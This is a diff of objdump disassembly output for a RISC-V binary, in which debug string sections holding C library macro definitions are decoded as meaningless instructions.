+    5334:	676e                	flw	fa4,216(sp)
+    5336:	4300                	lw	s0,0(a4)
+    5338:	4d5f5253          	0x4d5f5253
+    533c:	5654                	lw	a3,44(a2)
+    533e:	4c41                	li	s8,16
+    5340:	3620                	fld	fs0,104(a2)
+    5342:	5f00                	lw	s0,56(a4)
+    5344:	705f 6361 656b      	0x656b6361705f
+    534a:	2064                	fld	fs1,192(s0)
+    534c:	5f5f 7461 7274      	0x727474615f5f
+    5352:	6269                	lui	tp,0x1a
+    5354:	7475                	lui	s0,0xffffd
+    5356:	5f65                	li	t5,-7
+    5358:	285f 5f28 705f      	0x705f5f28285f
+    535e:	6361                	lui	t1,0x18
+    5360:	5f64656b          	0x5f64656b
+    5364:	295f 0029 5f5f      	0x5f5f0029295f
+    536a:	4544                	lw	s1,12(a0)
+    536c:	4f56                	lw	t5,84(sp)
+    536e:	414c                	lw	a1,4(a0)
+    5370:	4954                	lw	a3,20(a0)
+    5372:	454c                	lw	a1,12(a0)
+    5374:	7428                	flw	fa0,104(s0)
+    5376:	7079                	c.lui	zero,0xffffe
+    5378:	2c65                	jal	5630 <__stack_size+0x4e30>
+    537a:	6176                	flw	ft2,92(sp)
+    537c:	2972                	fld	fs2,280(sp)
+    537e:	2820                	fld	fs0,80(s0)
+    5380:	7428                	flw	fa0,104(s0)
+    5382:	7079                	c.lui	zero,0xffffe
+    5384:	2965                	jal	583c <__stack_size+0x503c>
+    5386:	5f28                	lw	a0,120(a4)
+    5388:	755f 6e69 7074      	0x70746e69755f
+    538e:	7274                	flw	fa3,100(a2)
+    5390:	745f 2829 6f76      	0x6f762829745f
+    5396:	616c                	flw	fa1,68(a0)
+    5398:	6974                	flw	fa3,84(a0)
+    539a:	656c                	flw	fa1,76(a0)
+    539c:	7620                	flw	fs0,104(a2)
+    539e:	2064696f          	jal	s2,4b5a4 <__stack_size+0x4ada4>
+    53a2:	292a                	fld	fs2,136(sp)
+    53a4:	7628                	flw	fa0,104(a2)
+    53a6:	7261                	lui	tp,0xffff8
+    53a8:	2929                	jal	57c2 <__stack_size+0x4fc2>
+    53aa:	5f00                	lw	s0,56(a4)
+    53ac:	545f4353          	0x545f4353
+    53b0:	4e5a                	lw	t3,148(sp)
+    53b2:	4d41                	li	s10,16
+    53b4:	5f45                	li	t5,-15
+    53b6:	414d                	li	sp,19
+    53b8:	2058                	fld	fa4,128(s0)
+    53ba:	3032                	fld	ft0,296(sp)
+    53bc:	4300                	lw	s0,0(a4)
+    53be:	4148                	lw	a0,4(a0)
+    53c0:	5f52                	lw	t5,52(sp)
+    53c2:	494d                	li	s2,19
+    53c4:	204e                	fld	ft0,208(sp)
+    53c6:	0030                	addi	a2,sp,8
+    53c8:	4e5f 5745 494c      	0x494c57454e5f
+    53ce:	5f42                	lw	t5,48(sp)
+    53d0:	4c41                	li	s8,16
+    53d2:	4f4c                	lw	a1,28(a4)
+    53d4:	485f4143          	fmadd.s	ft2,ft10,ft5,fs1,rmm
+    53d8:	0020                	addi	s0,sp,8
+    53da:	7254                	flw	fa3,36(a2)
+    53dc:	6e61                	lui	t3,0x18
+    53de:	73696d73          	csrrsi	s10,0x736,18
+    53e2:	6e6f6973          	csrrsi	s2,0x6e6,30
+    53e6:	6548                	flw	fa0,12(a0)
+    53e8:	6461                	lui	s0,0x18
+    53ea:	7265                	lui	tp,0xffff9
+    53ec:	654c                	flw	fa1,12(a0)
+    53ee:	676e                	flw	fa4,216(sp)
+    53f0:	6874                	flw	fa3,84(s0)
+    53f2:	7320                	flw	fs0,96(a4)
+    53f4:	7274                	flw	fa3,100(a2)
+    53f6:	656c                	flw	fa1,76(a0)
+    53f8:	286e                	fld	fa6,216(sp)
+    53fa:	7254                	flw	fa3,36(a2)
+    53fc:	6e61                	lui	t3,0x18
+    53fe:	73696d73          	csrrsi	s10,0x736,18
+    5402:	6e6f6973          	csrrsi	s2,0x6e6,30
+    5406:	6548                	flw	fa0,12(a0)
+    5408:	6461                	lui	s0,0x18
+    540a:	7265                	lui	tp,0xffff9
+    540c:	2029                	jal	5416 <__stack_size+0x4c16>
+    540e:	0031202b          	0x31202b
+    5412:	535f 5f43 454d      	0x454d5f43535f
+    5418:	4c4d                	li	s8,19
+    541a:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    541e:	4152                	lw	sp,20(sp)
+    5420:	474e                	lw	a4,208(sp)
+    5422:	2045                	jal	54c2 <__stack_size+0x4cc2>
+    5424:	3532                	fld	fa0,296(sp)
+    5426:	5f00                	lw	s0,56(a4)
+    5428:	535f 5041 2050      	0x20505041535f
+    542e:	7830                	flw	fa2,112(s0)
+    5430:	3130                	fld	fa2,96(a0)
+    5432:	3030                	fld	fa2,96(s0)
+    5434:	5f00                	lw	s0,56(a4)
+    5436:	495f4353          	0x495f4353
+    543a:	5650                	lw	a2,44(a2)
+    543c:	2036                	fld	ft0,328(sp)
+    543e:	3736                	fld	fa4,360(sp)
+    5440:	5f00                	lw	s0,56(a4)
+    5442:	6d5f 6e69 735f      	0x735f6e696d5f
+    5448:	7a69                	lui	s4,0xffffa
+    544a:	2865                	jal	5502 <__stack_size+0x4d02>
+    544c:	2978                	fld	fa4,208(a0)
+    544e:	7320                	flw	fs0,96(a4)
+    5450:	6174                	flw	fa3,68(a0)
+    5452:	6974                	flw	fa3,84(a0)
+    5454:	78282063          	0x78282063
+    5458:	0029                	c.nop	10
+    545a:	535f 5359 5f5f      	0x5f5f5359535f
+    5460:	5954                	lw	a3,52(a0)
+    5462:	4550                	lw	a2,12(a0)
+    5464:	20485f53          	0x20485f53
+    5468:	5f00                	lw	s0,56(a4)
+    546a:	4152                	lw	sp,20(sp)
+    546c:	444e                	lw	s0,208(sp)
+    546e:	3834                	fld	fa3,112(s0)
+    5470:	535f 4545 5f44      	0x5f444545535f
+    5476:	2032                	fld	ft0,264(sp)
+    5478:	3028                	fld	fa0,96(s0)
+    547a:	3178                	fld	fa4,224(a0)
+    547c:	3332                	fld	ft6,296(sp)
+    547e:	2934                	fld	fa3,80(a0)
+    5480:	5f00                	lw	s0,56(a4)
+    5482:	535f 5245 2052      	0x20525245535f
+    5488:	7830                	flw	fa2,112(s0)
+    548a:	3030                	fld	fa2,96(s0)
+    548c:	3034                	fld	fa3,96(s0)
+    548e:	4400                	lw	s0,8(s0)
+    5490:	414d                	li	sp,19
+    5492:	495f 5152 3320      	0x33205152495f
+    5498:	5f00                	lw	s0,56(a4)
+    549a:	4d5f4353          	0x4d5f4353
+    549e:	5345                	li	t1,-15
+    54a0:	45474153          	0x45474153
+    54a4:	505f 5341 4953      	0x49535341505f
+    54aa:	474e                	lw	a4,208(sp)
+    54ac:	3220                	fld	fs0,96(a2)
+    54ae:	5f5f0037          	lui	zero,0x5f5f0
+    54b2:	4352                	lw	t1,20(sp)
+    54b4:	28444953          	0x28444953
+    54b8:	73202973          	csrr	s2,0x732
+    54bc:	7274                	flw	fa3,100(a2)
+    54be:	6375                	lui	t1,0x1d
+    54c0:	2074                	fld	fa3,192(s0)
+    54c2:	5f5f 6168 6b63      	0x6b6361685f5f
+    54c8:	5f00                	lw	s0,56(a4)
+    54ca:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    54d0:	7274                	flw	fa3,100(a2)
+    54d2:	5f79                	li	t5,-2
+    54d4:	6361                	lui	t1,0x18
+    54d6:	7571                	lui	a0,0xffffc
+    54d8:	7269                	lui	tp,0xffffa
+    54da:	2865                	jal	5592 <__stack_size+0x4d92>
+    54dc:	6f6c                	flw	fa1,92(a4)
+    54de:	20296b63          	bltu	s2,sp,56f4 <__stack_size+0x4ef4>
+    54e2:	2828                	fld	fa0,80(s0)
+    54e4:	6f76                	flw	ft10,92(sp)
+    54e6:	6469                	lui	s0,0x1a
+    54e8:	2029                	jal	54f2 <__stack_size+0x4cf2>
+    54ea:	2930                	fld	fa2,80(a0)
+    54ec:	5f00                	lw	s0,56(a4)
+    54ee:	495f 544e 3233      	0x3233544e495f
+    54f4:	435f 6328 2029      	0x20296328435f
+    54fa:	23232063          	0x23232063
+    54fe:	4c20                	lw	s0,88(s0)
+    5500:	4100                	lw	s0,0(a0)
+    5502:	5f54                	lw	a3,60(a4)
+    5504:	4446                	lw	s0,80(sp)
+    5506:	20445743          	fmadd.s	fa4,fs0,ft4,ft4,unknown
+    550a:	322d                	jal	4e34 <__stack_size+0x4634>
+    550c:	5f00                	lw	s0,56(a4)
+    550e:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    5514:	414d                	li	sp,19
+    5516:	5f58                	lw	a4,60(a4)
+    5518:	3031                	jal	4d24 <__stack_size+0x4524>
+    551a:	455f 5058 5f5f      	0x5f5f5058455f
+    5520:	3420                	fld	fs0,104(s0)
+    5522:	3339                	jal	5230 <__stack_size+0x4a30>
+    5524:	0032                	c.slli	zero,0xc
+    5526:	5f5f 4e45 5f44      	0x5f444e455f5f
+    552c:	4544                	lw	s1,12(a0)
+    552e:	20534c43          	fmadd.s	fs8,ft6,ft5,ft4,rmm
+    5532:	5f00                	lw	s0,56(a4)
+    5534:	425f4353          	0x425f4353
+    5538:	49445f43          	fmadd.s	ft10,fs0,fs4,fs1,unknown
+    553c:	5f4d                	li	t5,-13
+    553e:	414d                	li	sp,19
+    5540:	2058                	fld	fa4,128(s0)
+    5542:	3835                	jal	4d7e <__stack_size+0x457e>
+    5544:	4400                	lw	s0,8(s0)
+    5546:	414d                	li	sp,19
+    5548:	545f 5f52 5253      	0x52535f52545f
+    554e:	464f5f43          	fmadd.q	ft10,ft10,ft4,fs0,unknown
+    5552:	2046                	fld	ft0,80(sp)
+    5554:	7830                	flw	fa2,112(s0)
+    5556:	3834                	fld	fa3,112(s0)
+    5558:	5f00                	lw	s0,56(a4)
+    555a:	475f 554e 4c43      	0x4c43554e475f
+    5560:	4b49                	li	s6,18
+    5562:	5f45                	li	t5,-15
+    5564:	5542                	lw	a0,48(sp)
+    5566:	4c49                	li	s8,18
+    5568:	4954                	lw	a3,20(a0)
+    556a:	5f4e                	lw	t5,240(sp)
+    556c:	41445453          	0x41445453
+    5570:	4752                	lw	a4,20(sp)
+    5572:	3120                	fld	fs0,96(a0)
+    5574:	5f00                	lw	s0,56(a4)
+    5576:	535f 424c 2046      	0x2046424c535f
+    557c:	7830                	flw	fa2,112(s0)
+    557e:	3030                	fld	fa2,96(s0)
+    5580:	3130                	fld	fa2,96(a0)
+    5582:	5300                	lw	s0,32(a4)
+    5584:	495f 4946 4f46      	0x4f464946495f
+    558a:	5f20                	lw	s0,120(a4)
+    558c:	4649                	li	a2,18
+    558e:	4649                	li	a2,18
+    5590:	4f46004f          	fnmadd.q	ft0,fa2,fs4,fs1,rne
+    5594:	4550                	lw	a2,12(a0)
+    5596:	5f4e                	lw	t5,240(sp)
+    5598:	414d                	li	sp,19
+    559a:	2058                	fld	fa4,128(s0)
+    559c:	3032                	fld	ft0,296(sp)
+    559e:	5f00                	lw	s0,56(a4)
+    55a0:	4649                	li	a2,18
+    55a2:	4944                	lw	s1,20(a0)
+    55a4:	2052                	fld	ft0,272(sp)
+    55a6:	3030                	fld	fa2,96(s0)
+    55a8:	3034                	fld	fa3,96(s0)
+    55aa:	3030                	fld	fa2,96(s0)
+    55ac:	0030                	addi	a2,sp,8
+    55ae:	4955                	li	s2,21
+    55b0:	544e                	lw	s0,240(sp)
+    55b2:	435f3233          	0x435f3233
+    55b6:	5f00                	lw	s0,56(a4)
+    55b8:	465f 544c 3231      	0x3231544c465f
+    55be:	5f38                	lw	a4,120(a4)
+    55c0:	5045                	c.li	zero,-15
+    55c2:	4f4c4953          	0x4f4c4953
+    55c6:	5f4e                	lw	t5,240(sp)
+    55c8:	205f 2e31 3239      	0x32392e31205f
+    55ce:	3935                	jal	520a <__stack_size+0x4a0a>
+    55d0:	3932                	fld	fs2,296(sp)
+    55d2:	3439                	jal	4fe0 <__stack_size+0x47e0>
+    55d4:	3334                	fld	fa3,96(a4)
+    55d6:	3738                	fld	fa4,104(a4)
+    55d8:	3332                	fld	ft6,296(sp)
+    55da:	3835                	jal	4e16 <__stack_size+0x4616>
+    55dc:	3335                	jal	5308 <__stack_size+0x4b08>
+    55de:	3530                	fld	fa2,104(a0)
+    55e0:	3935                	jal	521c <__stack_size+0x4a1c>
+    55e2:	34393737          	lui	a4,0x34393
+    55e6:	3532                	fld	fa0,296(sp)
+    55e8:	3438                	fld	fa4,104(s0)
+    55ea:	3239                	jal	4ef8 <__stack_size+0x46f8>
+    55ec:	65323337          	lui	t1,0x65323
+    55f0:	332d                	jal	531a <__stack_size+0x4b1a>
+    55f2:	4634                	lw	a3,72(a2)
+    55f4:	3231                	jal	4f00 <__stack_size+0x4700>
+    55f6:	0038                	addi	a4,sp,8
+    55f8:	505f 5f43 4150      	0x41505f43505f
+    55fe:	4854                	lw	a3,20(s0)
+    5600:	4d5f 5841 3420      	0x342058414d5f
+    5606:	6600                	flw	fs0,8(a2)
+    5608:	7361                	lui	t1,0xffff8
+    560a:	5f74                	lw	a3,124(a4)
+    560c:	7570                	flw	fa2,108(a0)
+    560e:	6374                	flw	fa3,68(a4)
+    5610:	7828                	flw	fa0,112(s0)
+    5612:	702c                	flw	fa1,96(s0)
+    5614:	2029                	jal	561e <__stack_size+0x4e1e>
+    5616:	2d28                	fld	fa0,88(a0)
+    5618:	282d                	jal	5652 <__stack_size+0x4e52>
+    561a:	2970                	fld	fa2,208(a0)
+    561c:	3e2d                	jal	5156 <__stack_size+0x4956>
+    561e:	775f 3c20 3020      	0x30203c20775f
+    5624:	3f20                	fld	fs0,120(a4)
+    5626:	5f20                	lw	s0,120(a4)
+    5628:	735f 6277 6675      	0x66756277735f
+    562e:	725f 5f28 4552      	0x45525f28725f
+    5634:	4e45                	li	t3,17
+    5636:	2c54                	fld	fa3,152(s0)
+    5638:	2820                	fld	fs0,80(s0)
+    563a:	6e69                	lui	t3,0x1a
+    563c:	2974                	fld	fa3,208(a0)
+    563e:	7828                	flw	fa0,112(s0)
+    5640:	2c29                	jal	585a <__stack_size+0x505a>
+    5642:	7020                	flw	fs0,96(s0)
+    5644:	2029                	jal	564e <__stack_size+0x4e4e>
+    5646:	3d3d                	jal	5484 <__stack_size+0x4c84>
+    5648:	4520                	lw	s0,72(a0)
+    564a:	3a20464f          	fnmadd.d	fa2,ft0,ft2,ft7,rmm
+    564e:	2820                	fld	fs0,80(s0)
+    5650:	282a                	fld	fa6,136(sp)
+    5652:	2970                	fld	fa2,208(a0)
+    5654:	3e2d                	jal	518e <__stack_size+0x498e>
+    5656:	705f 3d20 2820      	0x28203d20705f
+    565c:	2978                	fld	fa4,208(a0)
+    565e:	202c                	fld	fa1,64(s0)
+    5660:	7028                	flw	fa0,96(s0)
+    5662:	2d29                	jal	5c7c <__stack_size+0x547c>
+    5664:	5f3e                	lw	t5,236(sp)
+    5666:	2b70                	fld	fa2,208(a4)
+    5668:	30202c2b          	0x30202c2b
+    566c:	2929                	jal	5a86 <__stack_size+0x5286>
     566e:	5f00                	lw	s0,56(a4)
-    5670:	465f 544c 3436      	0x3436544c465f
-    5676:	5f58                	lw	a4,60(a4)
-    5678:	4148                	lw	a0,4(a0)
-    567a:	4e495f53          	0x4e495f53
-    567e:	4946                	lw	s2,80(sp)
-    5680:	494e                	lw	s2,208(sp)
-    5682:	5954                	lw	a3,52(a0)
-    5684:	5f5f 3120 5f00      	0x5f0031205f5f
-    568a:	435f 4148 5f52      	0x5f524148435f
-    5690:	4942                	lw	s2,16(sp)
-    5692:	5f54                	lw	a3,60(a4)
-    5694:	205f 0038 4e49      	0x4e490038205f
-    569a:	4d54                	lw	a3,28(a0)
-    569c:	5841                	li	a6,-16
-    569e:	4d5f 4e49 5f00      	0x5f004e494d5f
-    56a4:	495f 544e 414d      	0x414d544e495f
-    56aa:	5f58                	lw	a4,60(a4)
-    56ac:	5954                	lw	a3,52(a0)
-    56ae:	4550                	lw	a2,12(a0)
-    56b0:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    56b6:	6f6c2067          	0x6f6c2067
-    56ba:	676e                	flw	fa4,216(sp)
-    56bc:	6920                	flw	fs0,80(a0)
-    56be:	746e                	flw	fs0,248(sp)
-    56c0:	5300                	lw	s0,32(a4)
-    56c2:	4454                	lw	a3,12(s0)
-    56c4:	5245                	li	tp,-15
-    56c6:	5f52                	lw	t5,52(sp)
-    56c8:	4946                	lw	s2,80(sp)
-    56ca:	454c                	lw	a1,12(a0)
-    56cc:	4f4e                	lw	t5,208(sp)
-    56ce:	3220                	fld	fs0,96(a2)
-    56d0:	4500                	lw	s0,8(a0)
-    56d2:	2820464f          	fnmadd.s	fa2,ft0,ft2,ft5,rmm
-    56d6:	312d                	jal	5300 <__stack_size+0x4b00>
-    56d8:	0029                	c.nop	10
-    56da:	505f 494f 544e      	0x544e494f505f
-    56e0:	5245                	li	tp,-15
-    56e2:	495f 544e 6c20      	0x6c20544e495f
-    56e8:	00676e6f          	jal	t3,7b6ee <__stack_size+0x7aeee>
-    56ec:	505f 4449 545f      	0x545f4449505f
-    56f2:	445f 4345 414c      	0x414c4345445f
-    56f8:	4552                	lw	a0,20(sp)
-    56fa:	2044                	fld	fs1,128(s0)
-    56fc:	5f00                	lw	s0,56(a4)
-    56fe:	425f4353          	0x425f4353
-    5702:	43535f43          	fmadd.d	ft10,ft6,fs5,fs0,unknown
-    5706:	4c41                	li	s8,16
-    5708:	5f45                	li	t5,-15
-    570a:	414d                	li	sp,19
-    570c:	2058                	fld	fa4,128(s0)
-    570e:	3935                	jal	534a <__stack_size+0x4b4a>
-    5710:	6d00                	flw	fs0,24(a0)
-    5712:	6576                	flw	fa0,92(sp)
-    5714:	646e                	flw	fs0,216(sp)
-    5716:	6469726f          	jal	tp,9cd5c <__stack_size+0x9c55c>
-    571a:	735f 7274 6300      	0x63007274735f
-    5720:	746e756f          	jal	a0,ece66 <__stack_size+0xec666>
-    5724:	5f00                	lw	s0,56(a4)
-    5726:	4552                	lw	a0,20(sp)
-    5728:	4e45                	li	t3,17
-    572a:	5f54                	lw	a3,60(a4)
-    572c:	4e49                	li	t3,18
-    572e:	5449                	li	s0,-14
-    5730:	7628                	flw	fa0,104(a2)
-    5732:	7261                	lui	tp,0xffff8
-    5734:	2029                	jal	573e <__stack_size+0x4f3e>
-    5736:	2c30207b          	0x2c30207b
-    573a:	5f20                	lw	s0,120(a4)
-    573c:	4552                	lw	a0,20(sp)
-    573e:	4e45                	li	t3,17
-    5740:	5f54                	lw	a3,60(a4)
-    5742:	49445453          	0x49445453
-    5746:	54535f4f          	0x54535f4f
-    574a:	4552                	lw	a0,20(sp)
-    574c:	4d41                	li	s10,16
-    574e:	2628                	fld	fa0,72(a2)
-    5750:	7628                	flw	fa0,104(a2)
-    5752:	7261                	lui	tp,0xffff8
+    5670:	4450                	lw	a2,12(s0)
+    5672:	5f50                	lw	a2,60(a4)
+    5674:	4e45                	li	t3,17
+    5676:	4944                	lw	s1,20(a0)
+    5678:	4e41                	li	t3,16
+    567a:	3320                	fld	fs0,96(a4)
+    567c:	3134                	fld	fa3,96(a0)
+    567e:	0032                	c.slli	zero,0xc
+    5680:	5f5f 4244 5f4c      	0x5f4c42445f5f
+    5686:	4f4e                	lw	t5,208(sp)
+    5688:	4d52                	lw	s10,20(sp)
+    568a:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    5690:	2820                	fld	fs0,80(s0)
+    5692:	6428                	flw	fa0,72(s0)
+    5694:	6c62756f          	jal	a0,2cd5a <__stack_size+0x2c55a>
+    5698:	2965                	jal	5b50 <__stack_size+0x5350>
+    569a:	2e31                	jal	59b6 <__stack_size+0x51b6>
+    569c:	36373937          	lui	s2,0x36373
+    56a0:	3339                	jal	53ae <__stack_size+0x4bae>
+    56a2:	3331                	jal	53ae <__stack_size+0x4bae>
+    56a4:	3834                	fld	fa3,112(s0)
+    56a6:	3236                	fld	ft4,360(sp)
+    56a8:	37353133          	0x37353133
+    56ac:	3830                	fld	fa2,112(s0)
+    56ae:	3431                	jal	50ba <__stack_size+0x48ba>
+    56b0:	3235                	jal	4fdc <__stack_size+0x47dc>
+    56b2:	33323437          	lui	s0,0x33323
+    56b6:	37313337          	lui	t1,0x37313
+    56ba:	3430                	fld	fa2,104(s0)
+    56bc:	65373533          	0x65373533
+    56c0:	3830332b          	0x3830332b
+    56c4:	294c                	fld	fa1,144(a0)
+    56c6:	5f00                	lw	s0,56(a4)
+    56c8:	5f5f 6e69 5f74      	0x5f746e695f5f
+    56ce:	656c                	flw	fa1,76(a0)
+    56d0:	7361                	lui	t1,0xffff8
+    56d2:	3674                	fld	fa3,232(a2)
+    56d4:	5f34                	lw	a3,120(a4)
+    56d6:	5f74                	lw	a3,124(a4)
+    56d8:	6564                	flw	fs1,76(a0)
+    56da:	6966                	flw	fs2,88(sp)
+    56dc:	656e                	flw	fa0,216(sp)
+    56de:	2064                	fld	fs1,192(s0)
+    56e0:	0031                	c.nop	12
+    56e2:	5f5f 6973 657a      	0x657a69735f5f
+    56e8:	745f 5f5f 0020      	0x205f5f745f
+    56ee:	535f 5f43 4f4c      	0x4f4c5f43535f
+    56f4:	5f4e4947          	fmsub.q	fs2,ft8,fs4,fa1,rmm
+    56f8:	414e                	lw	sp,208(sp)
+    56fa:	454d                	li	a0,19
+    56fc:	4d5f 5841 3520      	0x352058414d5f
+    5702:	0032                	c.slli	zero,0xc
+    5704:	5f5f 5953 5f53      	0x5f5359535f5f
+    570a:	464e4f43          	fmadd.q	ft10,ft8,ft4,fs0,rmm
+    570e:	4749                	li	a4,18
+    5710:	485f 5f5f 0020      	0x205f5f485f
+    5716:	465f 4f4e 4e49      	0x4e494f4e465f
+    571c:	4548                	lw	a0,12(a0)
+    571e:	4952                	lw	s2,20(sp)
+    5720:	2054                	fld	fa3,128(s0)
+    5722:	7830                	flw	fa2,112(s0)
+    5724:	3034                	fld	fa3,96(s0)
+    5726:	3030                	fld	fa2,96(s0)
+    5728:	0030                	addi	a2,sp,8
+    572a:	5f5f 7270 6465      	0x646572705f5f
+    5730:	6369                	lui	t1,0x1a
+    5732:	5f74                	lw	a3,124(a4)
+    5734:	6166                	flw	ft2,88(sp)
+    5736:	736c                	flw	fa1,100(a4)
+    5738:	2865                	jal	57f0 <__stack_size+0x4ff0>
+    573a:	7865                	lui	a6,0xffff9
+    573c:	2970                	fld	fa2,208(a0)
+    573e:	5f20                	lw	s0,120(a4)
+    5740:	625f 6975 746c      	0x746c6975625f
+    5746:	6e69                	lui	t3,0x1a
+    5748:	655f 7078 6365      	0x63657078655f
+    574e:	2874                	fld	fa3,208(s0)
+    5750:	6528                	flw	fa0,72(a0)
+    5752:	7078                	flw	fa4,100(s0)
     5754:	2c29                	jal	596e <__stack_size+0x516e>
     5756:	3020                	fld	fs0,96(s0)
-    5758:	2c29                	jal	5972 <__stack_size+0x5172>
-    575a:	5f20                	lw	s0,120(a4)
-    575c:	4552                	lw	a0,20(sp)
-    575e:	4e45                	li	t3,17
-    5760:	5f54                	lw	a3,60(a4)
-    5762:	49445453          	0x49445453
-    5766:	54535f4f          	0x54535f4f
-    576a:	4552                	lw	a0,20(sp)
-    576c:	4d41                	li	s10,16
-    576e:	2628                	fld	fa0,72(a2)
-    5770:	7628                	flw	fa0,104(a2)
-    5772:	7261                	lui	tp,0xffff8
-    5774:	2c29                	jal	598e <__stack_size+0x518e>
-    5776:	3120                	fld	fs0,96(a0)
-    5778:	2c29                	jal	5992 <__stack_size+0x5192>
-    577a:	5f20                	lw	s0,120(a4)
-    577c:	4552                	lw	a0,20(sp)
-    577e:	4e45                	li	t3,17
-    5780:	5f54                	lw	a3,60(a4)
-    5782:	49445453          	0x49445453
-    5786:	54535f4f          	0x54535f4f
-    578a:	4552                	lw	a0,20(sp)
-    578c:	4d41                	li	s10,16
-    578e:	2628                	fld	fa0,72(a2)
-    5790:	7628                	flw	fa0,104(a2)
-    5792:	7261                	lui	tp,0xffff8
-    5794:	2c29                	jal	59ae <__stack_size+0x51ae>
-    5796:	3220                	fld	fs0,96(a2)
-    5798:	2c29                	jal	59b2 <__stack_size+0x51b2>
-    579a:	3020                	fld	fs0,96(s0)
-    579c:	202c                	fld	fa1,64(s0)
-    579e:	2222                	fld	ft4,8(sp)
-    57a0:	202c                	fld	fa1,64(s0)
-    57a2:	2c30                	fld	fa2,88(s0)
-    57a4:	5f20                	lw	s0,120(a4)
-    57a6:	554e                	lw	a0,240(sp)
-    57a8:	4c4c                	lw	a1,28(s0)
-    57aa:	202c                	fld	fa1,64(s0)
-    57ac:	2c30                	fld	fa2,88(s0)
-    57ae:	5f20                	lw	s0,120(a4)
-    57b0:	554e                	lw	a0,240(sp)
-    57b2:	4c4c                	lw	a1,28(s0)
-    57b4:	202c                	fld	fa1,64(s0)
-    57b6:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    57bc:	3020                	fld	fs0,96(s0)
-    57be:	202c                	fld	fa1,64(s0)
-    57c0:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    57c6:	5f20                	lw	s0,120(a4)
-    57c8:	554e                	lw	a0,240(sp)
-    57ca:	4c4c                	lw	a1,28(s0)
-    57cc:	202c                	fld	fa1,64(s0)
-    57ce:	2c30                	fld	fa2,88(s0)
-    57d0:	5f20                	lw	s0,120(a4)
-    57d2:	554e                	lw	a0,240(sp)
-    57d4:	4c4c                	lw	a1,28(s0)
-    57d6:	202c                	fld	fa1,64(s0)
-    57d8:	207b207b          	0x207b207b
-    57dc:	2c30                	fld	fa2,88(s0)
-    57de:	5f20                	lw	s0,120(a4)
-    57e0:	554e                	lw	a0,240(sp)
-    57e2:	4c4c                	lw	a1,28(s0)
-    57e4:	202c                	fld	fa1,64(s0)
-    57e6:	2222                	fld	ft4,8(sp)
-    57e8:	202c                	fld	fa1,64(s0)
-    57ea:	202c307b          	0x202c307b
-    57ee:	2c30                	fld	fa2,88(s0)
-    57f0:	3020                	fld	fs0,96(s0)
-    57f2:	202c                	fld	fa1,64(s0)
-    57f4:	2c30                	fld	fa2,88(s0)
-    57f6:	3020                	fld	fs0,96(s0)
-    57f8:	202c                	fld	fa1,64(s0)
-    57fa:	2c30                	fld	fa2,88(s0)
-    57fc:	3020                	fld	fs0,96(s0)
-    57fe:	202c                	fld	fa1,64(s0)
-    5800:	2c30                	fld	fa2,88(s0)
-    5802:	3020                	fld	fs0,96(s0)
-    5804:	2c7d                	jal	5ac2 <__stack_size+0x52c2>
-    5806:	3020                	fld	fs0,96(s0)
-    5808:	202c                	fld	fa1,64(s0)
-    580a:	2c31                	jal	5a26 <__stack_size+0x5226>
-    580c:	7b20                	flw	fs0,112(a4)
-    580e:	7b20                	flw	fs0,112(a4)
-    5810:	525f 4e41 3444      	0x34444e41525f
-    5816:	5f38                	lw	a4,120(a4)
-    5818:	44454553          	0x44454553
-    581c:	305f 202c 525f      	0x525f202c305f
-    5822:	4e41                	li	t3,16
-    5824:	3444                	fld	fs1,168(s0)
-    5826:	5f38                	lw	a4,120(a4)
-    5828:	44454553          	0x44454553
-    582c:	315f 202c 525f      	0x525f202c315f
-    5832:	4e41                	li	t3,16
-    5834:	3444                	fld	fs1,168(s0)
-    5836:	5f38                	lw	a4,120(a4)
-    5838:	44454553          	0x44454553
-    583c:	325f 2c7d 7b20      	0x7b202c7d325f
-    5842:	525f 4e41 3444      	0x34444e41525f
-    5848:	5f38                	lw	a4,120(a4)
-    584a:	554d                	li	a0,-13
-    584c:	544c                	lw	a1,44(s0)
-    584e:	305f 202c 525f      	0x525f202c305f
-    5854:	4e41                	li	t3,16
-    5856:	3444                	fld	fs1,168(s0)
-    5858:	5f38                	lw	a4,120(a4)
-    585a:	554d                	li	a0,-13
-    585c:	544c                	lw	a1,44(s0)
-    585e:	315f 202c 525f      	0x525f202c315f
-    5864:	4e41                	li	t3,16
-    5866:	3444                	fld	fs1,168(s0)
-    5868:	5f38                	lw	a4,120(a4)
-    586a:	554d                	li	a0,-13
-    586c:	544c                	lw	a1,44(s0)
-    586e:	325f 2c7d 5f20      	0x5f202c7d325f
-    5874:	4152                	lw	sp,20(sp)
-    5876:	444e                	lw	s0,208(sp)
-    5878:	3834                	fld	fa3,112(s0)
-    587a:	415f 4444 7d20      	0x7d204444415f
-    5880:	202c                	fld	fa1,64(s0)
-    5882:	202c307b          	0x202c307b
-    5886:	7d7d307b          	0x7d7d307b
-    588a:	202c                	fld	fa1,64(s0)
-    588c:	202c307b          	0x202c307b
-    5890:	7d7d307b          	0x7d7d307b
-    5894:	202c                	fld	fa1,64(s0)
-    5896:	202c307b          	0x202c307b
-    589a:	7d7d307b          	0x7d7d307b
-    589e:	202c                	fld	fa1,64(s0)
-    58a0:	2222                	fld	ft4,8(sp)
-    58a2:	202c                	fld	fa1,64(s0)
-    58a4:	2222                	fld	ft4,8(sp)
-    58a6:	202c                	fld	fa1,64(s0)
-    58a8:	2c30                	fld	fa2,88(s0)
-    58aa:	7b20                	flw	fs0,112(a4)
-    58ac:	2c30                	fld	fa2,88(s0)
-    58ae:	7b20                	flw	fs0,112(a4)
-    58b0:	7d30                	flw	fa2,120(a0)
-    58b2:	2c7d                	jal	5b70 <__stack_size+0x5370>
-    58b4:	7b20                	flw	fs0,112(a4)
-    58b6:	2c30                	fld	fa2,88(s0)
-    58b8:	7b20                	flw	fs0,112(a4)
-    58ba:	7d30                	flw	fa2,120(a0)
-    58bc:	2c7d                	jal	5b7a <__stack_size+0x537a>
-    58be:	7b20                	flw	fs0,112(a4)
-    58c0:	2c30                	fld	fa2,88(s0)
-    58c2:	7b20                	flw	fs0,112(a4)
-    58c4:	7d30                	flw	fa2,120(a0)
-    58c6:	2c7d                	jal	5b84 <__stack_size+0x5384>
-    58c8:	7b20                	flw	fs0,112(a4)
+    5758:	0029                	c.nop	10
